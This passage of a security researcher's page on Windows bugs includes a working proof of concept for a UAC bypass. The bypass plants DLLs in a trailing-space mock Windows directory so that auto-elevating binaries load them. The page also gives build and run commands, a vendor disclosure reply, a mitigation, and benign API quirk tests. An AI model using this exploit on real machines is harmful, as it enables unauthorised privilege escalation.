dwWindows = GetSystemWindowsDirectory(szWindows,
sizeof(szWindows) / sizeof(*szWindows));
if (dwWindows == 0)
return FALSE;
memcpy(szWindows + dwWindows, L"\\Quirk13.log", sizeof(L"\\Quirk13.log"));
hWindows = CreateFile(szWindows,
FILE_APPEND_DATA | SYNCHRONIZE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
(HANDLE) NULL);
if (hWindows == INVALID_HANDLE_VALUE)
return FALSE;
dwOutput = wsprintfA(szOutput,
"Module \'%ls\' loaded at address 0x%p in process \'%ls\'\r\n",
szModule, hModule, szProcess);
if (!WriteFile(hWindows,
szOutput,
dwOutput * sizeof(*szOutput),
&dwWindows,
(LPOVERLAPPED) NULL))
/* no error handling */;
else
if (dwWindows != dwOutput * sizeof(*szOutput))
/* no error handling */;
if (!CloseHandle(hWindows))
/* no error handling */;
return TRUE;
}
�
SET CL=/GAFyz /LD /Oisy /W4 /wd4100 /Zl SET LINK=/EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB CL.EXE quirk13.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk13.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB /out:quirk13.dll /dll /implib:quirk13.lib quirk13.obj kernel32.lib user32.lib Creating library quirk13.lib and object quirk13.exp
�
COPY /Y NUL: quirk13.log COPY /Y …\quirk13.dll "%SystemRoot% \NetPlWiz.dll" "%SystemRoot% \NetPlWiz.exe" COPY /Y …\quirk13.dll "%SystemRoot% \PrintUI.dll" "%SystemRoot% \PrintUI.exe" TYPE quirk13.log ERASE quirk13.log
Access denied 0 file(s) copied. 1 file(s) copied. 1 file(s) copied. Module 'C:\Windows \NetPlWiz.dll' loaded in process 'C:\Windows \NetPlWiz.exe' Module 'C:\Windows \PrintUI.dll' loaded in process 'C:\Windows \PrintUI.exe' C:\Windows\quirk13.log Access denied
Clean up:
RMDIR /Q /S "%SystemRoot% " EXIT
REM Copyright © 2014-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
CHDIR /D "%SystemRoot%"
TITLE Step 0: KTMUtil.exe shows that these commands don't run elevated
System32\KTMUtil.exe
TITLE Step 1: NetPlWiz.dll displays the 'User Accounts' dialog box
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
TITLE Step 2: PrintUI.dll displays a dialog box
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
TITLE Step 3: ShUnimpl.dll denies to load, RunDLL32.exe displays an error message box
System32\RunDLL32.exe System32\ShUnimpl.dll,#0
TITLE Step 4: MMC.exe triggers a blue UAC prompt
System32\MMC.exe
TITLE Step 5: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
System32\NetPlWiz.exe
TITLE Step 6: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
System32\PrintUI.exe
TITLE Step 7: MMC.exe, NetPlWiz.exe and PrintUI.exe trigger a yellow UAC prompt which shows "Publisher: Unknown"
MKDIR Temp\Quirk13
COPY System32\MMC.exe Temp\Quirk13\MMC.exe
Temp\Quirk13\MMC.exe
COPY System32\NetPlWiz.exe Temp\Quirk13\NetPlWiz.exe
Temp\Quirk13\NetPlWiz.exe
COPY System32\PrintUI.exe Temp\Quirk13\PrintUI.exe
Temp\Quirk13\PrintUI.exe
RMDIR /Q /S Temp\Quirk13
TITLE Step 8: MMC.exe triggers a blue UAC prompt which shows "Verified Publisher: Microsoft Windows"
MKDIR "%SystemRoot% "
COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
"%SystemRoot% \MMC.exe"
TITLE Step 9: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
"%SystemRoot% \NetPlWiz.exe"
TITLE Step 10: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
"%SystemRoot% \PrintUI.exe"
TITLE Step 11: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) NetPlWiz.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
"%SystemRoot% \NetPlWiz.exe"
System32\CertUtil.exe /ERROR %ERRORLEVEL%
TITLE Step 12: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) PrintUI.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
"%SystemRoot% \PrintUI.exe"
ECHO %ERRORLEVEL%
System32\Net.exe HELPMSG %ERRORLEVEL%
TITLE Step 13: clean up and exit
RMDIR /Q /S "%SystemRoot% "
EXIT /B
The KTMUTIL utility requires that you have administrative privileges. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511) Error message text: {Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs. CertUtil: -error command completed successfully. 1 file(s) copied. 1114 A dynamic link library (DLL) initialization routine failed.
REM Copyright © 2014-2025, Stefan Kanthak <stefan.kanthak@nexgo.de> FOR %? IN ("%SystemRoot% " "%SystemRoot% ." "%SystemRoot% . " "%SystemRoot%. " "%SystemRoot% . " "%SystemRoot%. " "%SystemRoot% . " "%SystemRoot%. ") DO ( MKDIR "%~?\" && ( COPY "%SystemRoot%\System32\PrintUI.exe" "%~?\PrintUI.exe" && ( START "OUCH!" /WAIT /B "%~?\PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL! COPY "%SystemRoot%\System32\ShUnimpl.dll" "%~?\PrintUI.dll" && ( START "OUCH!" /WAIT /B "%~?\PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!)) RMDIR /Q /S "%~?\"))
NT AUTHORITY\Authenticated Users
or
BUILTIN\Users
groups) to create
subdirectories in the root directory of the system drive:
ICACLs.exe "%SystemDrive%\\" /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11Note: the 2 backslashes are necessary due to their special handling in front of a quotation mark.
They replied with the following statements:
Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.Ouch¹: the exploit works without administrator privileges![…]
Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.
I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.
Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!
Ouch³: even if Jane and Joe Average create
and use a secondary (unprivileged) standard user
account they might very likely be fooled by the
blue
UAC prompt that
shows Verified Publisher: Microsoft Windows
.
Note:
UAC (and
SAFER
alias
Software Restriction Policies
too) is the victim here – the vulnerability results from bugs
in the Win32 functions
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
coupled with insecure loading of
DLLs!
GetOpenClipboardWindow()
,
GetWindow()
and
GetWindowModuleFileName()
are documented in the
MSDN as
follows:
Retrieves the handle to the window that currently has the clipboard open.[…]HWND GetOpenClipboardWindow();
If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.
Retrieves a handle to a window that has the specified relationship (Z-Order or owner) to the specified window.HWND GetWindow( HWND hWnd, UINT uCmd );
[…]
Value Meaning … … GW_ENABLEDPOPUP
6The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window. […]
If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.
Retrieves the full path and file name of the module associated with the specified window handle.Note: the last documentation fails to specify what[…]UINT GetWindowModuleFileName( HWND hwnd, LPTSTR pszFileName, UINT cchFileNameMax );
The return value is the total number of characters copied into the buffer.
associated modulemeans as well as error conditions and restrictions! 228469
Create the text file quirk14.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError = ERROR_SUCCESS;
HWND hWindow = HWND_DESKTOP;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
SetLastError(123456789);
hWindow = GetActiveWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetActiveWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetConsoleWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetConsoleWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError(123456789);
hWindow = GetDesktopWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetDesktopWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetForegroundWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetForegroundWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError(123456789);
hWindow = GetOpenClipboardWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetOpenClipboardWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetShellWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetShellWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetTopWindow(HWND_DESKTOP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetTopWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError(123456789);
hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk14.exe
from the
source file quirk14.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk14.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk14.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk14.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk14.exe quirk14.obj kernel32.lib user32.lib
Execute the console application quirk14.exe
built in
step 2. to demonstrate the inconsistent (mis)behaviour:
.\quirk14.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetWindowModuleFileName(0x00000000, …) returned error 1400 GetWindow() returned error 1400 GetActiveWindow() returned NULL GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters GetWindowModuleFileName(0x00010010, …) returned error 123456789 GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters GetOpenClipboardWindow() returned error 123456789 GetWindowModuleFileName(0x00020104, …) returned error 123456789 GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters GetWindow() returned error 123456789 GetWindowModuleFileName(0x00000001, …) returned error 1400 GetWindowModuleFileName(0x00000000, …) returned error 1400 GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400 GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400 0x578 (WIN32: 1400 ERROR_INVALID_WINDOW_HANDLE) -- 1400 (1400) Error message text: Invalid window handle. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
GetWindow()
does not support the pseudo handle
HWND_DESKTOP
alias NULL
, but returns
NULL
with Win32 error code 1400 alias
ERROR_INVALID_WINDOW_HANDLE
set!
OUCH²: it does not return
the handle of the specified window if this does not own an enabled
popup window, but NULL
and fails to set the
Win32 error code!
OUCH³: it returns NULL
but fails
to set the Win32 error code if no window with the
specified relationship exists!
Note: the Win32 function
GetWindowModuleFileName()
returns 0 and does not modify the buffer in case of
failure!
OUCH⁴: it returns the path name of the calling console application although this did not create the window!
OUCH⁵: it returns 0 but fails to set the Win32 error code if the window was created in another process, except for the console window!
OUCH⁶: it does not support
the pseudo handles
HWND_BOTTOM
,
HWND_TOP
alias HWND_DESKTOP
,
HWND_TOPMOST
and
HWND_NOTOPMOST
,
but returns 0 with Win32 error code 1400 alias
ERROR_INVALID_WINDOW_HANDLE
set!
OUCH⁷: the Win32 function
GetOpenClipboardWindow()
returns NULL
but fails to set the Win32
error if the clipboard is not opened by a window!
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed byA discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]
FILE_DELETE_CHILD
of the parent (too)!
The TechNet article How Permissions Work specifies:
Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.The MSDN article File Security and Access Rights but contradicts:Permissions for Files and Folders
Permission Description … … Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.) Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder. […]
You should also be aware of the following:
Groups or users that are granted Full Control on a folder can delete any files in that folder, regardless of the permissions protecting the file.
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:[…]
By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.
Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of Windows’Note
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
Icacls
command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.Oops: the parameter[…]
[…]icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
Perm is a permission mask that can be specified in one of the following forms:
A sequence of simple rights:
[…]
A comma-separated list in parenthesis of specific rights:
D (delete)
RC (read control)
WDAC (write DAC)
WO (write owner)
S (synchronize)
AS (access system security)
MA (maximum allowed)
[…]
RD (read data/list directory)
WD (write data/add file)
AD (append data/add subdirectory)
[…]
DC (delete child)
/Inheritance:{E|D|R}
is undocumented!
Command-Line Reference
Cmd.exe
, then execute the
following command lines to prove the documentation cited above
wrong, and also show some undocumented (mis)behaviour:
REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%TMP%" COPY NUL: Quirk16f.tmp ECHO Step 1: remove all inherited access permissions from file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Inheritance:R CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC) CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 3: add access permissions to file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC) CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 4: remove access permissions from file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Remove:g "%USERNAME%" /Remove:g None CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 5: delete file 'Quirk16f.tmp' ERASE Quirk16f.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. Step 1: remove all inherited access permissions from file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI" Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI" Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files Step 3: add access permissions to file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1000)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)" Quirk16f.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\Stefan:(WDAC) AMNESIAC\None:(S) AMNESIAC\Stefan:(Rc) AMNESIAC\None:(D) OWNER RIGHTS: Successfully processed 1 files; Failed processing 0 files Step 4: remove access permissions from file 'Quirk16f.tmp' processed file: Quirk16f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk16f.tmp Access denied Quirk16f.tmp: Access denied Successfully processed 0 files; Failed processing 1 files Step 5: delete file 'Quirk16f.tmp'Note:
ICACLs.exe
does
not add inheritable
ACEs to files, but
discards them silently, reporting success.
Ouch¹: ICACLs.exe
converts its access permissions
AS
alias
ACCESS_SYSTEM_SECURITY
and
MA
alias
MAXIMUM_ALLOWED
to 0 alias
NO_ACCESS
!
Ouch²: ICACLs.exe
converts its access permission D
into
the compound access mask
SD
alias
DELETE
plus
SYNCHRONIZE
, and displays this
compound access mask 0x110000
as its
access permission D
too!
Note: ICACLs.exe
converts the
well-known SIDs
S-1-3-0
alias
CREATOR OWNER
,
S-1-3-1
alias
CREATOR GROUP
,
S-1-3-2
alias
CREATOR OWNER SERVER
, and
S-1-3-3
alias
CREATOR GROUP SERVER
into the
object’s effective user and (primary) group
SIDs.
Ouch³: ICACLs.exe
displays the access mask 0 alias
NO_ACCESS
of the
ACE
(D;;;;;OW)
as (S)
alias
SYNCHRONIZE
!
Note: both ICACLs.exe
and
CACLs.exe
fail (expected)
when the ACE
(D;;;;;OW)
with access mask 0 alias
NO_ACCESS
is present in the
DACL
– it overrides the implicit
RC
alias
READ_CONTROL
and
WDAC
alias
WRITE_DAC
access rights granted to
the object’s owner and has the same effect as the
ACE
(A;;;;;OW)
.
The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner RightsUniversal well-known SIDs
Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.
MKDIR Quirk16d.tmp ECHO Step A: remove all inherited access permissions from directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Inheritance:R CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step B: add (inheritable) access permissions to directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA) CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step C: (attempt to) delete directory 'Quirk16d.tmp' RMDIR Quirk16d.tmp ECHO Step D: remove all inheritable access permissions from directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0 CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step E: create file 'Quirk16d.tmp\Quirk16f.tmp' COPY NUL: Quirk16d.tmp\Quirk16f.tmp ECHO Step F: display access permissions of file 'Quirk16d.tmp\Quirk16f.tmp' ICACLS.EXE Quirk16d.tmp\Quirk16f.tmp CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S ECHO Step G: (attempt to) delete file 'Quirk16d.tmp\Quirk16f.tmp' ERASE Quirk16d.tmp\Quirk16f.tmp ECHO Step H: add access permissions to directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S) CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp CACLS.EXE Quirk16d.tmp\Quirk16f.tmp /S ECHO Step I: delete file 'Quirk16d.tmp\Quirk16f.tmp' ERASE Quirk16d.tmp\Quirk16f.tmp ECHO Step J: remove access permissions from directory 'Quirk16d.tmp' ICACLS.EXE Quirk16d.tmp /Remove:g "%USERNAME%" CACLS.EXE Quirk16d.tmp /S ICACLS.EXE Quirk16d.tmp ECHO Step K: create subdirectory 'Quirk16d.tmp\Quirk16d.tmp' MKDIR Quirk16d.tmp\Quirk16d.tmp ECHO Step L: delete subdirectory 'Quirk16d.tmp\Quirk16d.tmp' RMDIR Quirk16d.tmp\Quirk16d.tmp ECHO Step M: (attempt to) delete directory 